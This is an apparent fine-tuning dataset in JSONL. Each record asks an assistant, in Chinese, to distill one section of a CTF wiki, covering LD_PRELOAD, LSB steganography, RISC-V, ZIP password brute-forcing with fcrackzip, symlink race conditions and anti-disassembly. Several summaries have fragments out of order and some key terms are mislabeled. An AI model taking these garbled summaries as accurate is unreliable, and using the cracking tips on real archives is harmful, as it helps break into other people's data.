"ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1931ebf5ede52e3d9bf4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/linux/ld_preload.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/linux/ld_preload.md`\n标题：LD_PRELOAD\n章节：LD_PRELOAD > 原理\n路径分类：reverse / reverse/platform/linux\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 预装载意味着会它的函数会比其他库文件中的同名函数先于调用, 也就使得库函数可以被阻截或替换掉. 多个共享链接库文件的路径可以用冒号或空格进行区分. 显然不会受到LD_PRELOAD影响的也就只有那些静态链接的程序了. 当然为避免用于恶意攻击, 在ruid !\n- 正常情况下, Linux 动态加载器ld-linux(见man手册ld-linux(8))会搜寻并装载程序所需的共享链接库文件, 而LD_PRELOAD是一个可选的环境变量, 包含一个或多个指向共享链接库文件的路径. 加载器会先于C语言运行库之前载入LD_PRELOAD指定的共享链接库，也就是所谓的预装载(preload)。\n- = euid的情况下加载器是不会使用LD_PRELOAD进行预装载的. 更多阅读: https://blog.fpmurphy.com/2012/09/all-about-ld_preload.html#ixzz569cbyze4\n\n关键术语：\n- 漏洞利用\n- reverse\n- platform\n- linux\n- ld-preload.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 506, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "原理", "heading_path": ["LD_PRELOAD", "原理"], "original_id": "docs-5aaf1b032de7d84317dc", "original_line": 1499, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/ld_preload.md", "source_root": "docs", "source_sha256": "17535fd998192600f07a0f772757eb135e8499db723e724aebbf77f1ea499070", "split": "train", "split_group_key": "73c1fa95152629f437fca8eb", "subcategory": "reverse/platform/linux", "terms": ["漏洞利用", "reverse", "platform", "linux", "ld-preload.md"], "title": "LD_PRELOAD"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/ld_preload.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-197e5218c9ea6f75a4d0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/picture/png.md` 中的章节「LSB」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/picture/png.md`\n标题：PNG\n章节：PNG > LSB\n路径分类：misc / misc/picture/png.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“LSB”展开。\n- 而人类的眼睛可以区分约1000万种不同的颜色，意味着人类的眼睛无法区分余下的颜色大约有6777216种。\n- LSB 隐写就是修改 RGB 颜色分量的最低二进制位（LSB），每个颜色会有 8 bit，LSB 隐写就是修改了像数中的最低的 1 bit，而人类的眼睛不会注意到这前后的变化，每个像素可以携带 3 比特的信息。\n- [图片文件: ./figure/lsb.jpg] 如果是要寻找这种 LSB 隐藏痕迹的话，有一个工具 Stegsolve 是个神器，可以来辅助我们进行分析。\n- 通过下方的按钮可以观察每个通道的信息，例如查看 R 通道的最低位第 8 位平面的信息。\n- PNG 文件中的图像像数一般是由 RGB 三原色（红绿蓝）组成，每一种颜色占用 8 位，取值范围为 0x00 至 0xFF，即有 256 种颜色，一共包含了 256 的 3 次方的颜色，即 16777216 种颜色。\n\n关键术语：\n- 密码学\n- misc\n- picture\n- png.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 565, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "LSB", "heading_path": ["PNG", "LSB"], "original_id": "docs-4b25c8cb89079475ce0a", "original_line": 588, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/png.md", "source_root": "docs", "source_sha256": "43950f569096175f2c56da46c5d09dece4a19b71604f5ff4c9662280fa9187ec", "split": "train", "split_group_key": "fe8c15f28b59dc3d95048fd9", "subcategory": "misc/picture/png.md", "terms": ["密码学", "misc", "picture", "png.md"], "title": "PNG"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/png.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1a1a784f8bba4f998b3f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/risc-v/readme.md` 中的章节「（2）CSR 寄存器」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/risc-v/readme.md`\n标题：Risc-V\n章节：Risc-V > 0x02 寄存器 > （2）CSR 寄存器\n路径分类：assembly / assembly/risc-v/readme.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“（2）CSR 寄存器”展开。\n- CSR（Control and Status Register）是用于控制、状态监测和配置处理器运行的重要寄存器。\n- RISC-V 中 CSR 的地址空间为 12 位，共支持 4096 个 CSR 寄存器。\n- 按照特权级别分类，CSR 分为用户态（u）、监督态（s）、机器态（m*）等。\n- 在简化实现中，仅支持机器态（M-mode）的 CSR 是常见情况。\n\n关键术语：\n- assembly\n- risc-v\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 631, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "（2）CSR 寄存器", "heading_path": ["Risc-V", "0x02 寄存器", "（2）CSR 寄存器"], "original_id": "docs-29c6b1a0b0a7eadffd16", "original_line": 113, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "source_root": "docs", "source_sha256": "472e018416e1d59bdff251bd8eb5b2794368d2cc1cef6ca3623c30c6be927550", "split": "train", "split_group_key": "31af3e7476277064b58f4eb8", "subcategory": "assembly/risc-v/readme.md", "terms": ["assembly", "risc-v", "readme.md"], "title": "Risc-V"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1e40a1f5caa9d236dfae", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/risc-v/readme.md` 中的章节「参阅」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/risc-v/readme.md`\n标题：Risc-V\n章节：Risc-V > 参阅\n路径分类：assembly / assembly/risc-v/readme.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参阅”展开。\n- RISC-V ELF psABI 文件（riscv-non-isa/riscv-elf-psabi-doc） - RISC-V 指令集架构官方手册（riscv/riscv-isa-manual）\n\n关键术语：\n- assembly\n- risc-v\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 200, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "参阅", "heading_path": ["Risc-V", "参阅"], "original_id": "docs-007812dd433e2cf6c563", "original_line": 125, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "source_root": "docs", "source_sha256": "472e018416e1d59bdff251bd8eb5b2794368d2cc1cef6ca3623c30c6be927550", "split": "train", "split_group_key": "b45ace0c053e103173d8cd12", "subcategory": "assembly/risc-v/readme.md", "terms": ["assembly", "risc-v", "readme.md"], "title": "Risc-V"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2306dcb281b43763f26e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/misc.md` 中的章节「测试支持」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/misc.md`\n标题：测试支持\n章节：测试支持\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“测试支持”展开。\n- static void alloc_perturb(char p, size_t n) { if (__glibc_unlikely(perturb_byte)) memset(p, perturb_byte ^ 0xff, n);\n- } static void free_perturb(char p, size_t n) { if (__glibc_unlikely(perturb_byte)) memset(p, perturb_byte, n);\n- ``c static int perturb_byte;\n- 下面的代码用于支持测试，默认情况下 perturb_byte 是0。\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 7 行，首行 `static int perturb_byte;`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 305, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "测试支持", "heading_path": ["测试支持"], "original_id": "docs-a21837b98beb71650116", "original_line": 1178, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/misc.md", "source_root": "docs", "source_sha256": "e988ee80e278207d22ee73d1742c92971ce3ce4719e0430c05b76d3ec46a52a1", "split": "train", "split_group_key": "9d71e0bf9247fa819ac16fac", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "测试支持"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/misc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2b79c274f4a6c5114ba2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/environment.md` 中的章节「配置 venv python 环境（可选）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/environment.md`\n标题：简介\n章节：pwn-related tools > 在本地直接搭建 CTF Pwn 做题环境 > 配置 venv python 环境（可选）\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“配置 venv python 环境（可选）”展开。\n- ` 对于这种情况，我们可以选择使用 venv 模块创建“虚拟环境”。\n- 我们可以通过如下命令创建一个新的虚拟环境（若路径不存在，则将被创建）： `shell python3 -m venv 自定义的venv文件夹路径 ` 完成创建之后，我们便可以通过 source 命令进入到 venv 中，请根据你所使用的 shell 进行选择其中之一： `shell source 自定义的venv文件夹路径/bin/activate # for bash source 自定义的venv文件夹路径/bin/activate.fish # for fish source 自定义的venv文件夹路径...\n- If you wish to install a non-rpm packaged Python package, create a virtual environment using python3.11 -m venv path/to/venv.\n- Then use path/to/venv/bin/python and path/to/venv/bin/pip.\n- If you wish to install a non-rpm packaged Python application, it may be easiest to use pipx install xyz, which will manage a virtual environment for you.\n\n关键术语：\n- pwn\n- linux\n- user-mode\n- environment.md\n- code:shell\n\n代码/命令片段线索：\n- plain: 12 行，首行 `error: externally-managed-environment`\n- shell: 1 行，首行 `python3 -m venv 自定义的venv文件夹路径`\n- shell: 3 行，首行 `source 自定义的venv文件夹路径/bin/activate # for bash`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1556, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "配置 venv python 环境（可选）", "heading_path": ["pwn-related tools", "在本地直接搭建 CTF Pwn 做题环境", "配置 venv python 环境（可选）"], "original_id": "docs-b1246e73f268871e12db", "original_line": 849, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "source_root": "docs", "source_sha256": "b7c106ba08e98d53c01f65a51ffe9d367fabc959eda5db3eb84c7d5a83cc9d8a", "split": "train", "split_group_key": "e8266fb371d4a019183d4c74", "subcategory": "pwn/linux/user-mode", "terms": ["pwn", "linux", "user-mode", "environment.md", "code:shell"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2c83528e5af1654ea591", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/data.md` 中的章节「tshark」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/data.md`\n标题：数据提取\n章节：数据提取 > tshark\n路径分类：misc / misc/traffic/data.md\n分块：1/1\n\n核心知识点：\n- tshark作为wireshark的命令行版,高效快捷是它的优点,配合其余命令行工具(awk,grep)等灵活使用,可以快速定位,提取数据从而省去了繁杂的脚本编写 再看Google CTF 2016 Forensic-200这一题,可以通过tshark迅速完成解题 ``shll what@kali:/tmp$ tshark -r capture.pcapng -T fields -e usb.capdata > data2.txt what@kali:/tmp$ # awk -F: 'function com...\n- y+=comp(strtonum(\"0x\"$3))}$1==\"01\"{print x,y}' data.txt > data3.txt what@kali:/tmp$ gnuplot > plot \"data3.txt\" `` - Step 1 鼠标协议中数据提取 - Step 2 通过awk进行位置坐标转换 - Step 3 形成图形\n- return v}{x+=comp(strtonum(\"0x\"$2));\n\n关键术语：\n- misc\n- traffic\n- data.md\n- code:shll\n\n代码/命令片段线索：\n- shll: 4 行，首行 `what@kali:/tmp$ tshark -r capture.pcapng -T fields -e usb.capdata > data2.txt`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 495, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "heading": "tshark", "heading_path": ["数据提取", "tshark"], "original_id": "docs-d5e2f1d5ad6efe2b0416", "original_line": 590, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/data.md", "source_root": "docs", "source_sha256": "1a96b9cf486f762a88e189b11b96da62d0a31eb956ca792e9e074841dbe37a25", "split": "train", "split_group_key": "a4a8805e597be39db877e8de", "subcategory": "misc/traffic/data.md", "terms": ["misc", "traffic", "data.md", "code:shll"], "title": "数据提取"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/data.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2c83d132d83fe3273e0c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/archive/zip.md` 中的章节「爆破」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/archive/zip.md`\n标题：ZIP 格式\n章节：ZIP 格式 > 主要攻击 > 爆破\n路径分类：misc / misc/archive/zip.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“爆破”展开。\n- Linux 下的命令行工具 fcrackzip ``shell # －b 指定模式为暴破，-c1指定密码类型为纯数字，其它类型可以rtfm,-u这个参数非常重要不然不显示破解出来的密码,-l 5-6可以指定长度 root@kali:fcrackzip -b -c1 -u test.zip ``\n- 这里主要介绍两款爆破使用的工具 - Windows下的神器 ARCHPR [图片文件: ./figure/1.png] 暴力枚举，跑字典，明文攻击，应有尽有。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- misc\n- archive\n- zip.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 2 行，首行 `# －b 指定模式为暴破，-c1指定密码类型为纯数字，其它类型可以rtfm,-u这个参数非常重要不然不显示破解出来的密码,-l 5-6可以指定长度`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 324, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "爆破", "heading_path": ["ZIP 格式", "主要攻击", "爆破"], "original_id": "docs-df6753864fb56888baba", "original_line": 546, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/archive/zip.md", "source_root": "docs", "source_sha256": "171c086900627e8f254fb7ea6f3caf29192f5b226bef34498c74cf7a30fd5f7b", "split": "train", "split_group_key": "b7eabb1643a993dafc276dd2", "subcategory": "misc/archive/zip.md", "terms": ["密码学", "漏洞利用", "misc", "archive", "zip.md", "code:shell"], "title": "ZIP 格式"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/archive/zip.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2ccc9b5d9c19d8b80040", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/race-condition/introduction.md` 中的章节「CWE-363: Race Condition Enabling Link Following」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/race-condition/introduction.md`\n标题：Race Condition\n章节：Race Condition > 形式 > CWE-367: TOCTOU Race Condition > CWE-363: Race Condition Enabling Link Following\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“CWE-363: Race Condition Enabling Link Following”展开。\n- 但是如果在检查之后，真正使用文件之前，攻击者将文件修改为某个符号链接，那么程序将访问错误的文件。\n- 我们可以使用 fstat 函数来读取文件的信息并把它存入到stat结构体中，然后我们可以将该信息与我们已知的信息进行比较来判断我们是否读入了正确的信息。\n- 其中，stat结构体中的 st_ino 和 st_dev 变量可以唯一表示文件 - st_ino ，包含了文件的序列号，即 i-node - st_dev ，包含了文件对应的设备。\n- 我们知道 Linux 中提供了两种对于文件的命名方式 - 文件路径名 - 文件描述符 但是，将这两种命名解析到相应对象上的方式有所不同 - 文件路径名在解析的时候是通过传入的路径（文件名，硬链接，软连接）间接解析的，其传入的参数并不是相应文件的真实地址(inode)。\n- 而下面的函数都会使用文件名作为参数：access(), open(), creat(), mkdir(), unlink(), rmdir(), chown(), symlink(), link(), rename(), chroot(),… 那该如何避免这个问题呢？\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- race-condition\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 724, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "CWE-363: Race Condition Enabling Link Following", "heading_path": ["Race Condition", "形式", "CWE-367: TOCTOU Race Condition", "CWE-363: Race Condition Enabling Link Following"], "original_id": "docs-bbcb18b50426fc49f3a9", "original_line": 1220, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/introduction.md", "source_root": "docs", "source_sha256": "338b696bd1c811ec5c9a103ccde2a5b1d14a90b4555ffeaf1644b779b73f85fe", "split": "train", "split_group_key": "804848f6badecc08eafc443e", "subcategory": "pwn/linux/user-mode", "terms": ["漏洞利用", "pwn", "linux", "user-mode", "race-condition"], "title": "Race Condition"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-31d63d4b903c10c935be", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/encode/communication.md` 中的章节「敲击码」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/encode/communication.md`\n标题：通信领域常用编码\n章节：通信领域常用编码 > 敲击码\n路径分类：misc / misc/encode/communication.md\n分块：1/1\n\n核心知识点：\n- 因该编码对信息通过使用一系列的点击声音来编码而命名，敲击码是基于 5 ×5 方格波利比奥斯方阵来实现的，不同点是是用 K 字母被整合到 C 中。\n- |Tap Code|1|2|3|4|5| |--|--|--|--|--|--| |1|A|B|C/K|D|E| |2|F|G|H|I|J| |3|L|M|N|O|P| |4|Q|R|S|T|U| |5|V|W|X|Y|Z| [图片文件: ./figure/tapcode.jpg]\n- 敲击码（Tap code）是一种以非常简单的方式对文本信息进行编码的方法。\n\n关键术语：\n- misc\n- encode\n- communication.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 253, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "敲击码", "heading_path": ["通信领域常用编码", "敲击码"], "original_id": "docs-b19a1c281ad16387db44", "original_line": 560, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/encode/communication.md", "source_root": "docs", "source_sha256": "a4877bfda2da56f7b8158034e98084beaac5f4a2850aec07a4f654b6dad28c8e", "split": "train", "split_group_key": "a12c98f2ef7a4acc9a5f6bc0", "subcategory": "misc/encode/communication.md", "terms": ["misc", "encode", "communication.md"], "title": "通信领域常用编码"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/encode/communication.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-321d44bb7737e9ed7f28", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/risc-v/readme.md` 中的章节「（6）跳转与链接指令（J 型、I 型）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/risc-v/readme.md`\n标题：Risc-V\n章节：Risc-V > 0x03 常见指令 > （6）跳转与链接指令（J 型、I 型）\n路径分类：assembly / assembly/risc-v/readme.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“（6）跳转与链接指令（J 型、I 型）”展开。\n- | 指令 | 含义 | 示例 | 说明 | |--------|----------------|----------------------|-------------------------------------| | jal | 跳转并链接（J 型）| jal x1, label | x1 = PC+4;\n- PC = label（用于调用） | | jalr | 寄存器间接跳转（I 型）| jalr x1, x2, 0 | x1 = PC+4;\n- PC = x2 + 0（常返回，调用函数指针）| - 若目标寄存器为 x0，表示不保存返回地址（纯跳转）。\n- jal 通常用于调用函数，jalr 用于从函数返回。\n\n关键术语：\n- assembly\n- risc-v\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 365, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "（6）跳转与链接指令（J 型、I 型）", "heading_path": ["Risc-V", "0x03 常见指令", "（6）跳转与链接指令（J 型、I 型）"], "original_id": "docs-7de888c7259460fefc7a", "original_line": 119, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "source_root": "docs", "source_sha256": "472e018416e1d59bdff251bd8eb5b2794368d2cc1cef6ca3623c30c6be927550", "split": "train", "split_group_key": "65acdc4e25ae045846810745", "subcategory": "assembly/risc-v/readme.md", "terms": ["assembly", "risc-v", "readme.md"], "title": "Risc-V"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-32f77d426f71d53a56ed", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/linux/false-disasm.md` 中的章节「跳到一条指令中间」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/linux/false-disasm.md`\n标题：False Disassembly\n章节：False Disassembly > 跳到一条指令中间\n路径分类：reverse / reverse/platform/linux\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“跳到一条指令中间”展开。\n- 最简单的方法就是利用jmp跳转到某一条指令中间执行, 也就是说真实的代码是从某条指令\"之中\"开始的, 但在反汇编时由于是针对整条指令而不能列出真正被运行的汇编指令代码. 说起来好像很拗口, 很难懂, 我们来看一个示例吧, 给出以下的汇编代码.\n- DB 0xE9单纯只是一个数据, 也不会被执行, 而反汇编出的结果, 却将其视作一个指令, 之后的结果也因此而改变了. objdump忽略了jmp的目的地址处的代码`并直接汇编jmp后的指令, 这样我们真正的代码也就被很好地\"隐藏\"了起来\n\n关键术语：\n- 漏洞利用\n- reverse\n- platform\n- linux\n- false-disasm.md\n\n代码/命令片段线索：\n- plain: 5 行，首行 `start:`\n- plain: 5 行，首行 `08048080 :`\n- plain: 4 行，首行 `08048080 :`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 871, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "跳到一条指令中间", "heading_path": ["False Disassembly", "跳到一条指令中间"], "original_id": "docs-c58d8d7c6ee3dec0e3ec", "original_line": 1496, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/false-disasm.md", "source_root": "docs", "source_sha256": "5b8873145e9ecf3b08e6a7243805a4658761f65d3f22af983a422a14df220ee9", "split": "train", "split_group_key": "0db7ecc7fe77438943f940c2", "subcategory": "reverse/platform/linux", "terms": ["漏洞利用", "reverse", "platform", "linux", "false-disasm.md"], "title": "False Disassembly"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/false-disasm.md", "split": "train", 